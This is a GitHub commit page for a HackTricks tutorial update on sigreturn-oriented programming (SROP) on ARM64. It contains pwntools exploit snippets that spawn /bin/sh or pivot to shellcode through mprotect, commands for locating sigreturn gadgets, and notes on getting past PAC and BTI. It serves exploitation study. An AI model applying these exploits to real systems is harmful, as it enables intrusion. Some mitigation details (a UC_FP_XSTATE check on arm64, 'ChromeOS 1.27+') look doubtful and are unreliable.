Merge pull request #1256 from HackTricks-wiki/research_update_src_binary-exploitation_rop-return-oriented-programing_srop-sigreturn-oriented-programming_srop-arm64_20250807_162717

Research Update Enhanced src/binary-exploitation/rop-return-...
This commit is contained in:
SirBroccoli 2025-08-19 22:02:00 +02:00 committed by GitHub
commit 58f75d3008

View File

@ -1,4 +1,4 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@ -94,7 +94,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -160,7 +160,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -189,7 +189,57 @@ And to bypass the address of `/bin/sh` you could create several env variables po
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## Finding `sigreturn` gadgets automatically (2023-2025)
On modern distributions the `sigreturn` trampoline is still exported by the **vDSO** page but the exact offset may vary across kernel versions and build flags such as BTI (`+branch-protection`) or PAC. Automating its discovery prevents hard-coding offsets:
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Both tools understand **AArch64** encodings and will list candidate `mov x8, 0x8b ; svc #0` sequences that can be used as the *SROP gadget*.
> Note: When binaries are compiled with **BTI** the first instruction of every valid indirect branch target is `bti c`. `sigreturn` trampolines placed by the linker already include the correct BTI landing pad so the gadget remains usable from unprivileged code.
## Chaining SROP with ROP (pivot via `mprotect`)
`rt_sigreturn` lets us control *all* general-purpose registers and `pstate`. A common pattern on x86 is: 1) use SROP to call `mprotect`, 2) pivot to a new executable stack containing shell-code. The exact same idea works on ARM64:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
After sending the frame you can send a second stage containing raw shell-code at `0x400000+0x100`. Because **AArch64** uses *PC-relative* addressing this is often more convenient than building large ROP chains.
## Kernel validation, PAC & Shadow-Stacks
Linux 5.16 introduced stricter validation of userspace signal frames (commit `36f5a6c73096`). The kernel now checks:
* `uc_flags` must contain `UC_FP_XSTATE` when `extra_context` is present.
* The reserved word in `struct rt_sigframe` must be zero.
* Every pointer in the *extra_context* record is aligned and points inside the user address space.
`pwntools>=4.10` crafts compliant frames automatically, but if you build them manually make sure to zeroinitialize *reserved* and omit the SVE record unless you really need it—otherwise `rt_sigreturn` will deliver `SIGSEGV` instead of returning.
Starting with mainstream Android 14 and Fedora 38, userland is compiled with **PAC** (*Pointer Authentication*) and **BTI** enabled by default (`-mbranch-protection=standard`). *SROP* itself is unaffected because the kernel overwrites `PC` directly from the crafted frame, bypassing the authenticated LR saved on the stack; however, any **subsequent ROP chain** that performs indirect branches must jump to BTI-enabled instructions or PACed addresses. Keep that in mind when choosing gadgets.
Shadow-Call-Stacks introduced in ARMv8.9 (and already enabled on ChromeOS 1.27+) are a compiler-level mitigation and *do not* interfere with SROP because no return instructions are executed—the flow of control is transferred by the kernel.
## References
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}